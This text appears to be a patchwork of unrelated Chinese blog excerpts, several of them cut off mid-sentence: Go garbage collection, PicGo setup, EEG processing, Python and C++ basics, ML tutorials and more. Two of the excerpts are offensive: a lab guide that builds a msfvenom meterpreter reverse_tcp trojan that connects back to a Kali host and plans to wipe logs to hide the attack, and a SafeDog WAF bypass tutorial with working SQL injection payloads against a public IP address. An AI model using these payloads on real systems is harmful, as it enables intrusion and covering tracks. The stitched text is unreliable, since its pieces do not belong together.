>>追踪垃圾回收
>>回收步骤
>>分代GC(Generational GC)
>>引用计数
>Go内存管理及优化
>>Go内存分配——分块
>>Go内存分配——缓存
>>Go内存管理优化
>>字节跳动内存分配优化方案:Balanced GC
>>Balanced GC——性能收益
>自动内存管理 动态分配内存 程序在运行时根据需求动态分配的内存:malloc()自动内存管理(垃圾回收):由程序语言的运行时系统管理动态内存 避免手动内存管理,专注于实现业务逻辑保证内存使用的正确性和安全性:double-free proble,use-after-free problemdouble-free proble:两次回收内存,use-after-free problem:回收内存后再使用三个任务 为对象分配空间找到存活对象回收死亡对象的内存空间 >>自动内存管理-相关概念 Mutator:业务线程,分配新对象,修改对象指向关系Collector:GC线程,找到存活对象,回收死亡对象的内存空间Serial GC:只有一个collector Mutator Pause后执行一个collector
Parallel GC:支持多个collectors同时回收的GC算法 Mutator Pause之后执行多个collectors同时回收
Concurrent GC:mutator(s)和collector(s)可以同时执行 Collectors必须感知对象指向关系的改变!
评价GC算法 安全性(Safety):不能回收存活的对象 基本要求吞吐率(Throughput):花在GC上的时间,吞吐率越高越好暂停时间(Pause time):stop the world(STW) 业务是否感知内存开销(Space overhead)GC元数据开销追踪垃圾回收(Tracing garbage collection)引用计数(Reference counting) >>追踪垃圾回收 对象被回收的条件:指针指向关系不可达的对象 标记根对象 静态变量,全局变量,常量,线程栈等 标记:找到可达对象 求指针指向关系的传递闭包:从根对象出发,找到所有可达对象 清理:所有不可达对象 将存活对象复制到另外的内存空间(Copying GC)将死亡对象的内存标记为“可分配”(Mark-sweep GC)移动并整理存活对象(Mark-compack GC)根据对象的生命周期,使用不同的标记和清理策略 >>回收步骤 >>>未标记之前
>>>标记根对象
>>>标记根对象指针可以指向的对象,然后对象再一层一层的指向指针可指向的对象,传递闭包,从根对象出发,找到所有可达对象,将他们标记处理
>>>清理所有的不可达对象,也就是没有指针指向的对象(虚线圈圈)
Copying GC:将存活对象复制到另外的内存空间
Mark-sweep GC:使用free list管理空闲内存,跳过存活对象
实现步骤:
Gitee创建图床仓库
下载PicGo工具
设置PicGo工具的Gitee图床
修改Typora工具的偏好设置中的图像
测试图床是否设置成功
下载PicGo工具(推荐正式版)
https://github.com/Molunerfinn/picgo/releases
下载插件:
配置Gitee图床:
配置文件:
{ "picBed": { "current": "gitee", "uploader": "gitee", "gitee": { "branch": "master", "customPath": "yearMonth", "customUrl": "", "path": "gitee仓库中存在的你需要进行图片存储的文件夹,例如:user/imgs", "repo": "GItee用户名/图床仓库名", "token": "Gitee申请的图床个人Token" } }, "picgoPlugins": { "picgo-plugin-gitee-uploader": true, "picgo-plugin-super-prefix": true }, "picgo-plugin-gitee-uploader": { "lastSync": "2023-01-22 09:58:52" } }
letter 机缘 三年前,开始学习编程相关的内容,于是有很多问题需要去搜索,CSDN给了我最大的帮助,因为很多入门的问题都能搜到,然后加入学校实验室后,开始在OJ上刷题,同时也不断的贡献自己的题解,再到后来,慢慢分享一些关于编程学习上的内容
其实一开始我是使用博客园作为笔记的记录的,不过后面发现CSDN的浏览量多一点,而且编辑器好用一点,于是将博客园的所有博客搬迁到CSDN
说实话,CSDN算不上一个很好的博客论坛,因为里面充斥了大量的低质量文章,还有很多标题党,还有很多偷文章的,当然并不是说CSND里面没有大佬,只不过很多大佬的浏览量并不高,没有被推送给需要的同学,反倒是一些写的很一般或者说不好的文章,很容易就上热榜,然后大量推送,还有就是CSDN里面的水军非常多,到处去博客下面留言一些没什么p用的语句
总而言之,言而总之,我已经决定在CSDN创作了,短时间内不会考虑其他平台了~(才不是我开了会员,舍不得)
收获 粉丝收获 截至目前,我收获了1922个粉丝,感谢大家的陪伴~
数据收获 其余收获 在CSDN上还是看到过很多有用的笔记,也认识了一些大佬~
日常 一开始的时候是边学习边创作,每学到一个新的知识点就迫不及待的分享出来,慢慢地我发现了自己的知识薄弱,以前分享出来的东西也有一些隐藏的问题
于是我开始暂缓更新,希望能将一个东西学的比较好的时候再分享,于是博客中有很多的草稿,只不过没有发出来,B站那边也是如此,看到很多厉害的同学发了相关的视频,感觉自己讲的可能也不会太好,也就没有更新了,如果有一天,我认为自己学到自己满意的程度了,就会稳定更新拉~,目前还是随缘更新 ~
憧憬 希望自己能成为一个技术力比较好的程序员吧然后希望能分享越来越多的优质博客和优质视频也希望能遇到一些志同道合的小伙伴~希望毕业后能把我文件夹里的几个尘封的项目全部做完~ Tips
您发布的文章将会展示至 里程碑专区 ,您也可以在 专区 内查看其他创作者的纪念日文章优质的纪念文章将会获得神秘打赏哦
本实验实现1:
在攻击主机kali上,使用msfvenom工具,制作一个木马程序,并开启监听模块,对该木马程序进行实时监听,然后将这个木马程序发送给目标主机win7,一旦目标主机win7打开运行这个木马程序,则会立即被kali开启的监听模块监听到,并成功开启连接会话,最终攻击成功
本实验实现2:
攻击成功后,想要在kali控制win7后,清除win7中的应用程序日志、系统日志、安全日志,以达到抹去攻击痕迹的目的,后发现权限不够的问题,则利用Windows内核漏洞进行提权操作,最终成功清除日志
在VMware上建立两个虚拟机:win7和kali
Kali:它是Linux发行版的操作系统,它拥有超过300个渗透测试工具,就不用自己再去找安装包,去安装到我们自己的电脑上了,毕竟自己从网上找到,也不安全。它甚至还集成了600多种黑客工具,很强大。
可以永久免费使用,基本上学黑客攻击必会用到这个系统
靶机:Win7 64位 (IP: 192.168.10.41)–用ipconfig进行查询
攻击机:Kali (IP:192.168.10.21)–用ifconfig进行查询
1 、实验环境前提条件 win7中,关闭防火墙(“打开网络和共享中心”-“Windows防火墙”-“打开或关闭Windows防火墙”-均选择关闭选项)
保证两个虚拟机是可以ping通的(尤其是在kali中去ping win7,看能否连通)
$ping 192.168.10.41 2 、制作木马程序 msfvenom是kali自带的制作木马的工具,是msfpayload和msfencode的结合体,我们可以利用msfvenom来制作木马程序,以实现在目标主机上执行,在攻击主机上监听这一系列的操作
$msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.21 LPORT=50000 -f exe -o openme.exe 重点关注5个参数配置:
-p:设置木马程序的攻击载体;
LHOST:本地监听的地址,就是谁来监听这个程序,也指回连地址,自然是kali的地址;
LPORT:本地监听地址的端口号,也指回连端口,即kali地址的端口号,理论上可随意设置,但范围不要
超过65535,且不可设置为常见的特殊的端口号;
-f:指定木马程序的格式为exe(可执行的程序文件);
-o:指定木马程序的文件名称;
结果: 成功生成一个木马程序openme.exe,并保存于kali中的/home/kali目录下
【补充知识点:
1)端口号范围:0~65535
2)常见端口号列举
】
3 、赋予木马程序可执行权限 为生成的木马程序openme.exe 赋予可执行的权限,权限被修改为777(可读可写可执行),如果有必要可以对该文件执行免杀
$chmod 777 openme.exe 结果: 成功将openme.exe的权限修改为可读可写可执行
【补充知识点:
Linux系统中,每个用户的角色和权限划分的很细致也很严格,每个文件(目录)都设有访问许可权限,利用这种机制来决定某个用户通过某种方式对文件(目录)进行读、写、执行等操作;
操作文件或目录的用户,有3种不同类型:文件所有者、群组用户、其他用户。最高位表示文件所有者的权限值,中间位表示群组用户的权限值,最低位则表示其他用户的权限值。所以,chmod
777中,三个数字7分别对应上面三种用户,权限值都为7。
文件或目录的权限又分为3种:只读、只写、可执行。
依照上面的表格,权限组合就是对应权限值求和,如下:
7 = 4 + 2 + 1 读写运行权限
MindBigData脑电信号数据处理by小波变换 前言MindBigData数据库信号描述代码部分 前言 MindBigData是公开的脑电信号数据集之一,本文会使用python语言提取其中的数据,使用小波变换进行去噪,最后使用支持向量机进行粗糙分类。因为在CSDN上尚未检索到该数据库的详细介绍和使用方法,所以本文着重介绍这些和展示相关代码。
MindBigData数据库 MindBigData是一个开放的数据集,这是它的访问入口,包含1,207,293个脑电信号,每个脑电信号维持两秒钟。采集的设备是商业级的而非医用级,受试对象为个人,采集于受试对象接受0-9这10个数字的图像的刺激并进行相应的思考的时候。该数据库分为四个部分,如下图。
除了Insight数据之外,其他三个数据均提供一个受试对象未接受图像刺激的数据,如下图。
文件使用简单的txt文本文件,内部分为6列,分别为:
id,简单的排序的序列号。一个 2 字符的字符串,用于标识用于捕获信号的设备,“MW”代表 MindWave,“EP”代表 Emotive Epoc,“MU”代表 Interaxon Muse,“IN”代表 Emotiv Insight。通道名称一个 整数,用于标识被认为/看到的数字,可能值为 0、1、2、3、4、5、6、7、8、9 或者用于与任何无关的随机捕获信号数字-1。一个 整数,用于标识在该信号的 2 秒内捕获的值的数量大小,由于每个设备的 Hz 不同,在“理论上”该值接近 MW 的 512Hz,EP 的 128Hz,220Hz对于 MU & 128Hz 对于 IN,每 2 秒。一组以逗号分隔的数字,具有信号的时间序列幅度,每个设备使用不同的精度来识别从大脑捕获的电势: MW 和 MU 中的整数或 实数EP&IN的情况。 文件中没有标题,每一行都是一个信号,字段之间用制表符分隔。
下面是使用VScode打开的MW.txt文件截图。
捕获信号的位置即信号通道如下。
信号描述 这里我仅使用MW中的数据进行展示,有兴趣的可以尝试一下其他数据。过程中,我使用支持向量机将信号进行一个二分类,其中一类为接受数字图像的刺激,另一类是不接受数字图像刺激,其中难免有数据不平衡的因素影响,但我认为可以忽略。并且从0-9的信号中提取可以将之分类的信息我已经尝试很久都无结果。
下面展示原始数据:
红色是接受刺激的信号,绿色则反之。
原始数据时域图
原始数据频域图
下面是使用小波硬阈值去噪后的数据展示:
去噪后时域图
去噪后频域图
本文中直接将频域信号的归一化信号喂入支持向量机训练,下图是归一化的频域信号。
代码部分 下面将讲解相关代码。
首先导入所需要的库包括小波分解库pywt和数据处理库scipy:
import numpy as np import pywt from sklearn.preprocessing import MinMaxScaler import matplotlib.
前言 在生活中,我们总是要做出许多选择,程序也是一样。比如下面的例子:
如果输入的用户名和密码正确,提示登录成功,否则,提示登录失败。如果考试成绩大于等于60分,则及格,否则不及格。 以上例子中的判断,就是程序中的选择语句,也称为条件语句,即按照条件选择执行不同的代码片段。Python中选择语句主要有 3 种形式,分别为:if 语句、if…else 语句、if…elif…else 多分支语句。今天我们就详细来看看这3种选择语句的用法。
一、最简单的 if 语句 Python中使用 if 保留字来组成选择语句,简单的语法格式如下:
if 表达式: 语句块 如果表达式为真,则执行 “语句块”;如果表达式为假,就跳过 “语句块”,继续执行后面的语句,这种形式的 if 语句相当于汉语里的关联词语 “如果…就…”,其流程图如下图所示:
接下来看一下 if 语句在代码中的实际应用,代码如下:
score = int(input("请输入学生考试成绩: ")) # 输入学生考试成绩 if score >= 60: # 如果输入的成绩大于等于60,则执行冒号下面的语句块,否则跳过不执行 print("恭喜你,考试及格啦!!!") print("程序执行完毕") # 最后打印输出"程序执行完毕" 上述代码执行后有两种结果,一种是表达式结果为真(即满足条件),则执行冒号下面的语句块,结果如下图所示:
另一种是表达式结果为假(即不满足条件),则跳过不执行冒号下面的语句块,结果如下图所示:
注意:当表达式结果为假时,程序只是会跳过不执行冒号(:)下面的语句块,但是会继续往下执行代码剩余部分。
讲到这里,有小伙伴可能会有疑虑:我怎么区分哪些是语句块,哪些是正常代码呢?我先把上述代码中的语句块和正常代码给大家标注出来,如下图:
我们可以看到,正常代码和表达式之间是平等关系,代码开头是没有缩进的,而语句块和表达式之间是隶属关系,在Python中隶属关系是用冒号+缩进表示的。至于代码缩进规则在此就不做详细赘述,还有不明白的小伙伴,可以看我之前的博客【Python语法特点之代码缩进规则】。
说明:使用if语句时,如果隶属的语句块只有一条语句,那么语句块也可以直接写到冒号 “:” 的右侧。
例如下图代码所示:
二、if…else 语句 如果遇到只能二选一的条件,比如:我们在面试填写个人简历的时候,性别只能填男或者女。诸如此类的情况在生活中非常多,Python中就提供了 if…else 语句来解决类似问题,其语法格式如下:
if 表达式: 语句块1 else: 语句块2 如果表达式为真,则执行 if 后面的语句块,否则,执行 else 后面的语句块,这种形式的选择语句相当于汉语里的关联词语 “如果…否则…”,其流程图如下图所示:
接下来看一下 if…else 语句在代码中的实际应用,代码如下:
对网络上英语专业词汇进行汇总整理,如下表:
序号
英语基础词汇
摄影测量与遥感专业英语词汇
英语基础词汇
英语基础词汇-生态环境与遥感
1
Absorbed photosynthetically active radiation (APAR),吸收的光合有效辐射
001摄影测量学photogrammetry
BP网络 Back propagation network 1.remotesensingusedinforestry林业遥感
2
Absorption,吸收
002卫星摄影测量satellite photogrammetry
KL变换 KL transform
2.restorationofnaturalresources自然资源的恢复
3
Bands,吸收波段,吸收带
003摄影学photography
X射线 Xray
3.abovegroundbiomass(AGB)地上生物量
4
Hemispherical,半球吸收
004航天摄影space photography
Γ射线 Гray
4.biogeochemicalcycle生物地球化学循环
5
Accuracy assessment,精度评价
005航空摄影aerial photography
按波段顺序 Band sequential,BSQ
5.carboncycle碳循环
6
Error matrix,误差矩阵
006航空摄影机aerial camera
饱和度 Saturation
6.standstructure林分结构
7
Analytical evaluation分析评估
007立体摄影机stereocamera, stereometric camera
被动式 Passive
7.highdeforestationrates森林砍伐率
8
Fuzzy analysis,模糊分析
008非量测摄影机non-metric camera
前言 经过上一次【选择结构】求绝对值的学习,今天我们正式进入真正意义上【选择结构】的学习。
正文 题目描述:给定一个正整数,判断该数是奇数还是偶数。
输入:输入仅一行,一个大于0的正整数n。
输出:输出仅一行,如果n是奇数,输出odd;如果n是偶数,输出even。
样例输入:5
样例输出:odd
思路:使用if语句加else,达到我们的目的。
来自大佬信奥六点半的博客:
#include<cstdio> using namespace std; int main() { int n; scanf("%d",&n); if (n%2==0) printf("even"); else printf("odd") return 0; } 来自本蒟蒻的博客:
#include<cstdio> using namespace std; int main(){ int n; scanf("%d",&n); if(n%2 == 0){//if语句,如果能被2整除 printf("even");//满足条件则输出even }else{ printf("odd");//满足条件则输出odd } return 0; } 原来我离各位大佬如此的遥远又如此的相近!
好吧,下期见!
一、安全狗 1.主页 2.设置 一般许多人在安装了安全狗以后,都会保持它的默认设置。
可以看到有的保护处于关闭状态,因为虽然将防护设置全部打开会使网站更加安全,但是这也会导致有些正常的访问会产生误报而被拦截。
3.注入测试 <SQLi-LABS-Less2> 采用正常的方法进行注入,可以看得被安全狗给拦截了,此时使用的提交方式是GET。 换一种提交方式进行提交,采用POST请求进行注入,可以看到网页访问进去了,但是网页的内容并不正常。 原因是网站的源代码会决定接收方式,比如有的代码只接收GET请求,有的代码可以全部接收。 分析源代码可以看到,此关只接收GET提交方式的请求,因此采用POST提交的注入内容网站并没有接收。 接下来将网站原码内的接收方式改为REQUEST。 再次尝试进行注入,可以看到网站成功接收了。 尝试继续进行注入。 安全狗再次对注入内容进行了拦截。 在安全狗内可以看到拦截的对应选项。 将对POST内容的拦截选项给删除掉并重启服务器。 可以看到此时的注入便可以正常得到回显。 下面将安全狗设置给还原再次进行操作(原码的依然保持修改为REQUEST)。 首先尝试将注入的内容进行省略书写,可以看到安全狗不进行拦截了,但是得不到想要的回显数据。 由此可以判断出安全狗拦截的是“数据”,因此可以考虑以下的方法进行绕过。 当单独对“database”和单独对“()”进行注入时,安全狗均不进行拦截,仅对“database()”整体进拦截。 因此我们便可以想到一个思路:对“database()”进行拆分,但是不影响到它的运行。 这里采用“/**/”进行拆分,可以看到网页正常回显了数据库名称。 查看安全狗可以发现,其实上述的成功注入也是钻了安全狗的空子,因为安全狗对正常GET等的拦截比较多,对REQUEST的拦截并不多。 在此将原码改回GET接收方式。 再次注入可见此时就算没有查询数据库的注入也会被安全狗拦截,原因在“union select”关键字被拦截。 因为其触发了安全狗里的此项规则。 将注入语句写成如下样式即可成功注入。 http://39.96.44.170/sqlilabs/Less-2/?id=-1 union%23a%0Aselect 1,2,3%23 分析: %23————————————># a——————————————>a %0A————————————>换行 此时的sql语句样式: union #a select 1,2,3# 其中“#”在sql语句中是注释的意思,加入“#”是为了让安全狗在匹配的时候只匹配到“union”, 但是当安全狗匹配到“#”依然不停止继续匹配时,就会匹配到“a”,依然不会进行拦截, 同时“#”也将“a”给注释掉了,因此不会对sql语句的执行产生影响, 接下来是换行,到了下一行,是为了截至让安全狗继续匹配, 如果依然继续匹配,就会匹配到“select”,但是经过上一步的实验,可以发现单独的“select”也并不会触发安全狗的拦截。 二、WAF绕过 <应用层> 1.参数污染 当网页为此源代码时
在网址内输入以下内容后,网页会返回后者“3”,而不会将“12”返回。
2.大小写/关键字替换 id=1 UnIoN/**/SeLeCT 1,user()
Hex() bin() 等价于 ascii()
Sleep() 等价于 benchmark()
Mid()substring() 等价于 substr()
@@user 等价于 User()
文章目录 一、相关函数讲解1. `log_softmax()`函数2. `contiguous()`函数3. `view()`函数4. `cv2.cvtColor()`函数5. `Variable()`函数6. `torch.IntTensor()`函数7. `readlines()`函数 二、疑难代码行`preds = preds.transpose( 1, 0 ).contiguous().view( -1 )``preds_size = Variable( torch.IntTensor( [preds.size( 0 )] ) )``image = Image.fromarray(np.uint8(img)).convert('L')``image = Variable( image )``if gpu: model.load_state_dict( torch.load( model_path ) )``wrong_results.append('res:{} / label:{}'.format(res,label))` 三、附录 recognizer.py代码 本博客为学习RCNN的代码实现做的笔记,仅作个人参考 一、相关函数讲解 1. log_softmax()函数 torch.nn.functional.log_softmax()是PyTorch中用来计算输入张量的log_softmax操作的函数。
log_softmax函数的计算公式为:
l o g _ s o f t m a x ( x i ) = l o g ( e x i ∑ j = 1 N e x j ) log\_softmax(x_i) = log(\frac{e^{x_i}}{\sum_{j=1}^Ne^{x_j}}) log_softmax(xi)=log(∑j=1Nexjexi)
文章目录 前言一、历年论文对特征选择的处理(选取两篇)1.具体问题2.优秀论文 二、XGBoost算法的应用三、随机森林的特征选择四、自己对特征选择的处理五、遇到的问题和建议总结 前言 近年来机器学习在数学建模竞赛和大数据竞赛中的应用越来越广泛,本文是基于2023年mothor cup 大数据竞赛B题第一问中特征选择,参考历年优秀论文和数学建模清风老师的内容,结合自己的实际想法而作。
一、历年论文对特征选择的处理(选取两篇) 1.具体问题 依据附件1“估价训练数据”所提供的训练用二手车交易样本数据及题目文本涉及的其他相关资料,基于机器学习及统计学理论知识,联系结合各特征变量,训练并测试模型,以选择二手车交易的最优估价方法并预测附件2“估计验证数据”的二手车零售交易价格,最后将预测结果保存在附件3“估价模型结果”文件中。
2.优秀论文 论文1:针对问题一,第一步(数据清洗):本文运用统计指标、K近邻算法(KNN)等填充方法,逐个对附件1、附件2进行缺失值、异常值处理。第二步(特征工程):本文对部分类别特征数据进行标签编码和独热编码,然后进行特征构造并删除重复信息的字段,同时对部分数值特征进行分箱处理。第三步(可视化):利用pandas-profiling工具生成研究报告,并通过绘制分布图、热力图、三维柱状图、三维散点图等,对特征变量进行统计解释。第四步(模型准备):本文依据题干信息及统计学理论,建立并采用评测标准、调整决定系数𝑹𝟐、平均相对误差、5%误差准确率这四项指标作为本文的模型评估标准。第五步(模型建立):本文先建立神经网络模型评判数据集预测情况,然后利用XGBoost算法、随机森林、SFS序列前向选择筛选得到34个特征。
通过联合比较XGBoost算法中特征重要性分数大于0.3%的变量与随机森林回归模型重要性评分大于0.03的变量,取其交集得到二者共同遴选出的特征变量,再将之与步骤三中特征前向选择的结果取并集,并绘制关键词标签云,最终筛选得到34个特征变量。
去有风的地方 A Beautiful Smile 失眠 眼泪落下之前
论文二·:摘要:针对问题一,主要需要确定影响成交价格的因素并建立合适的预测模型。本文建立了基于Stacking 技术XGBoost、LightGBM 和CatBoost 融合模型来进行估价,并运用贝叶斯优化进行模型超参数调优。首先,我们对数据进行异常值剔除、正态转换和缺省值填补的预处理,构造出便于统计分析的特征,选取与成交价格有密切关系的28 个特征并做检验。
正文:首先对构造后得到的连续特征进行相关性分析:计算变量间的Pearson 系数,正值表示正相关,负值表示负相关,绝对值越大表示线性相关程度越高。然后利用XGBoost 算法获取特征重要性,依据模型在验证集上的效果对特征按照重要性程度从低到高进行排序。
两篇论文解决的都是相同的问题,很明显论文1的陈述更加全面准确,论文2稍显逊色。二者都运用了XGBoost对特征的重要性排序,论文1中的独热编码和标签词云也是非常精彩的应用,接下来介绍XGBoost.
二、XGBoost算法的应用 目前机器学习中应用最多的是python,各个平台对机器学习的介绍大多数都是Python,下面的代码是jyputer notebook中的,相较于Python的编辑环境,notebook比较类似,可能更简便,可以从winpython或者anaconda运行。
代码如下(示例):
# plot feature importance using built-in function import matplotlib.pyplot as plt import matplotlib matplotlib.use('qt4agg') #指定默认字体 matplotlib.rcParams['font.sans-serif'] = ['SimHei'] matplotlib.rcParams['font.family']='sans-serif' #解决负号'-'显示为方块的问题 matplotlib.rcParams['axes.unicode_minus'] = False %matplotlib inline %config InlineBackend.figure_format = 'svg' plt.savefig('Water-pause-times.png', dpi=500, bbox_inches='tight') # 解决图片不清晰,不完整的问题 plt.show() from numpy import loadtxt import pandas as pd from xgboost import XGBClassifier from xgboost import plot_importance from matplotlib import pyplot dataset = pd.
yolov5-dnn-cpp-python
https://github.com/hpc203/yolov5-dnn-cpp-python
转onnx:
用opencv的dnn模块做yolov5目标检测的程序,包含两个步骤:(1).把pytorch的训练模型.pth文件转换到.onnx文件。(2).opencv的dnn模块读取.onnx文件做前向计算。
SiLU其实就是swish激活函数,而在onnx模型里是不直接支持swish算子的,因此在转换生成onnx文件时,SiLU激活函数不能直接使用nn.Module里提供的接口,而需要自定义实现它。
修改Focus类,替换切片操作。
把Detect类里面的1x1卷积定义在紧邻着Detect类之前的外面,然后去掉Detect类,组成新的model,作为torch.onnx.export的输入。
torch.onnx.export(model, inputs, output_onnx, verbose=False, opset_version=12, input_names=['images'], output_names=['out0', 'out1', 'out2'])
最后生成的onnx文件,opencv的dnn模块就能成功读取了,接下来对照Detect类里的forward函数,用python或者C++编写计算预测框的中心坐标和高宽的功能。
在转换生成onnx文件,你需要执行两个步骤,
第一步把原始训练模型.pt文件里的参数保存到新的.pth文件里,
第二步编写yolov5.py文件,把yolov5的网络结构定义在.py文件里,此时需要注意网络结构里不能包含切片对象赋值操作,F.interpolate里的size参数需要加int强制转换。
在执行完这两步之后才能生成一个opencv能成功读取并且做前向推理的onnx文件。
不过,最近我发现在yolov5-pytorch程序里,其实可以直接把原始训练模型.pt文件转换生成onnx文件的,而且我在一个yolov5检测人脸+关键点的程序里实验成功了。
https://blog.csdn.net/nihate/article/details/112731327
作者用的模型
https://github.com/hpc203/yolov5-dnn-cpp-python/issues/21
https://github.com/ultralytics/yolov5/releases/tag/v4.0
问题:
warning C4819: 该文件包含不能在当前代码页(936)中表示的字符。请将该文件保存为 Unicode 格式以防止数据丢失
https://blog.csdn.net/lcb_coconut/article/details/76136725
ModuleNotFoundError: No module named ‘models‘解决torch.load问题【天坑】
https://blog.csdn.net/weixin_42815846/article/details/115289861
抽取模型参数
转onnx成功,会打印如下信息
==============================================================================================================
yolov5-opencv-dnn-cpp
https://github.com/UNeedCryDear/yolov5-opencv-dnn-cpp (保存图片没有框)
opencv YOLO DNNs
https://docs.opencv.org/4.x/da/d9d/tutorial_dnn_yolo.html
cv::dnn::DetectionModel
void cv::dnn::DetectionModel::detect(
InputArray frame, // 输入图像
std::vector< int > & classIds, // 输出类别index
std::vector< float > & confidences, // 得分
本文展示的是使用 Pytorch 构建一个 TextCNN 来实现情感分析。本文的架构是第一章详细介绍 TextCNN(不带公式版),第二章是核心代码部分。
目录 1. TextCNN2. TextCNN 实现情感分析参考 1. TextCNN 相较于 LSTM 而言,我个人其实是没看过 CNN 的任何公式的,主要是我觉得也没必要,因为从使用的角度上讲,会用就行;从 CNN 的角度上讲,你只需要知道 CNN 提取的是一种聚合关系就行(与 GNN 不同的是,CNN 提取的是欧式数据的聚合关系,GNN 提取的是非欧数据的聚合关系)。
TextCNN [1] 的模型图如下图所示。其中一共包含了有 3 个模块:卷积层,最大池化层,和输出层。
在原论文中,作者采用了多个通道来提取不同词嵌入的特征,然而如果只有一种词嵌入输入的话,可以参考下面这篇论文[2]中的模型图:
我们现在就以上图作为例子,详细介绍下 TextCNN(仅有一种词嵌入输入时)的具体流程(放心,没有任何公式):
首先是输入,TextCNN 的输入是词嵌入,设序列长度为 s s s(在图中为 s = 7 s=7 s=7),设嵌入维度为 d d d(在图中 d = 5 d=5 d=5)。接着 TextCNN 会经过一次二维卷积。首先是卷积核,从图中可以看到,一共有三个卷积核,大小分别为 ( 4 × 5 ) (4\times 5) (4×5), ( 3 × 5 ) (3\times 5) (3×5), ( 2 × 5 ) (2\times 5) (2×5)。先从卷积核的第二维开始说,我们发现卷积核的第二维都是 5,这个尺寸大小与嵌入维度 d d d 相同,就是说对于 TextCNN 而言,一次卷积要囊括所有词嵌入,这个也很好理解,因为只有 d d d 才能够代表整个词语。而对于第一维,分别为 4、3、2,这个就指的是,一次卷积考虑几个词语的依赖关系。假设卷积核大小为 ( 4 × 5 ) (4\times5) (4×5),那么就说明该卷积核一次聚合 4 个词语的依赖关系。(注:图中从左到右第二个区域是卷积核,第三个区域才是卷积后的输出)然后从图上可以发现,该图中每个卷积核共有 2 个滤波器(filter),所以一共有 2 个 ( 4 × 5 ) (4\times5) (4×5) 的卷积核、2 个 ( 3 × 5 ) (3\times5) (3×5) 的卷积核、2 个 ( 2 × 5 ) (2\times5) (2×5) 的卷积核。这里就是说,我们用不同数量的滤波器来捕获这个区间内不同的特征,以 ( 4 × 5 ) (4\times5) (4×5) 的卷积核举例,我们用滤波器 A 来捕获这4个词语之间的 A 特征,用滤波器 B 来捕获这4个词语之间的 B 特征。卷积之后是一次一维最大池化操作。该过程提取卷积后的向量中的最大值,作为该滤波器的特征。最后将所有滤波器通过最大池化后得到的特征拼接在一起,放到分类器中进行输出。 通过上述的解释,我们可以发现,TextCNN 是通过卷积核的尺寸,来控制模型捕获多少个词语之间的上下文关系。
文章目录 1,评价指标列表2,基本概念3,准确率(Accuracy)4,精确率(Precision)、召回率(Recall)和F1值5,综合评价指标F-Measure6,ROC曲线和AUC6.1,TPR、FPR&TNR6.2 ,为什么引入ROC曲线?6.3 ,什么是ROC曲线?6.4,如何画ROC曲线6.5,什么是AUC曲线?6.6,怎样计算AUC? 7,为什么使用ROC和AUC评价分类器呢?8,参考资料 该博文内容大部分是参考自Poll的笔记和dzl_ML两位博主的写作内容,再经过自己的学习,理解和整理后形成该文。参考资料的链接在最后部分给出。 1,评价指标列表 2,基本概念 针对一个二分类问题,即将实例分成正类(positive)或负类(negative),在实际分类中会出现以下四种情况:
(1)若一个实例是正类,并且被预测为正类,即为真正类(True Positive TP)
(2)若一个实例是正类,但是被预测为负类,即为假负类(False Negative FN)
(3)若一个实例是负类,但是被预测为正类,即为假正类(False Positive FP)
(4)若一个实例是负类,并且被预测为负类,即为真负类(True Negative TN)
3,准确率(Accuracy) 定义:对于给定的测试数据集,分类器正确分类的样本数与总样本数之比。计算公式: A c c u r a c y = T P + T N T P + T N + F P + F N Accuracy = \frac{TP+TN}{TP+TN+FP+FN} Accuracy=TP+TN+FP+FNTP+TN缺点:在正负样本不平衡的情况下,这个指标有很大的缺陷。例如:给定一组测试样本共1100个实例,其中1000个是负类,剩余100个是正类。即使分类模型将所有实例均预测为负类,Accuracy也有90%以上,这样就没什么意义了。 4,精确率(Precision)、召回率(Recall)和F1值 精确率和召回率是广泛用于信息检索和统计学分类领域的两个度量值,用来评价结果的质量。其中:
精确率是检索出相关文档数与检索出的文档总数的比率(正确分类的正例个数占分类为正例的实例个数的比例),衡量的是检索系统的查准率。 p r e c i s i o n = T P T P + F P precision = \frac{TP}{TP+FP} precision=TP+FPTP召回率是指检索出的相关文档数和文档库中所有的相关文档数的比率(正确分类的正例个数占实际正例个数的比例),衡量的是检索系统的查全率。 r e c a l l = T P T P + F N recall = \frac{TP}{TP+FN} recall=TP+FNTP 为了能够评价不同算法优劣,在Precision和Recall的基础上提出了F1值的概念,来对Precision和Recall进行整体评价。F1的定义如下: F 1 = 精确率 ∗ 召回率 ∗ 2 精确率 + 召回率 F1 = \frac{精确率*召回率*2}{精确率+召回率} F1=精确率+召回率精确率∗召回率∗2
摘 要 随着社会的发展,计算机的优势和普及使得潮牌官网的开发成为必需。潮牌官网主要是借助计算机,通过对首页、站点管理(轮播图、公告栏)用户管理(管理员、注册用户)内容管理(潮流资讯、资讯分类)商城管理(商城中心、分类列表、订单列表)等信息进行管理。减少管理员的工作,同时也方便广大用户对商品信息的及时查询以及管理。
本系统采用的数据库是Mysql,使用node.js的koa技术技术构建的一个管理系统,实现了本系统的全部功能。本次报告,首先分析了研究的背景、作用、意义,为研究工作的合理性打下了基础。针对潮牌官网的各项需求以及技术问题进行分析,证明了系统的必要性和技术可行性,然后对设计系统需要使用的技术软件以及设计思想做了基本的介绍,最后来实现潮牌官网和部署运行使用它。
在设计过程中,充分保证了系统代码的良好可读性、实用性、易扩展性、通用性、便于后期维护、操作方便以及页面简洁等特点。
关键词:潮牌官网,Mysql数据库,node.js的koa技术
Abstract
With the development of society, the advantages and popularity of computers make the development of chaopai official website necessary. Chaopai's official website mainly manages the home page, site management (rotation map, bulletin board), user management (administrator, registered user), content management (trend information, information classification), mall management (mall center, classification list, order list) and other information with the help of computer. Reduce the work of the administrator, and also facilitate the timely query and management of commodity information by the majority of users.
痛定思痛:电脑加装内存条一定要考虑硬件的最大内存容量 提起加装内存条,最先想到的就是双通道情况下,内存频率、内存大小、品牌尽量保持一致,但硬件的最大内存容量也是需要关注的一点。
影响计算机可用最大内存容量的因素 计算机的内存不是无限扩展的,主要受CPU、主板、操作系统的限制,但操作系统的内存限制一般特别大(Windows10+ 64位 各版本分别128G~6TB)可以不用考虑,而CPU、主板层面的则需要去官网找规格参数参考一番
超出硬件的最大内存容量会发生什么 如果选择的内存大小超出硬件的最大内存容量,可能会遇到系统点不亮、无法识别或使用多余内存的情况。也有可能看起来什么情况也没有发生,甚至还可以跑满,但是在偶尔使用中可能会出现一些问题,如闪屏,黑屏死机,唤醒后假死,唤醒后设备驱动掉线等问题。由于这种偶发问题可排查的地方太多了,所以总会在考虑的时候忽略掉内存问题。
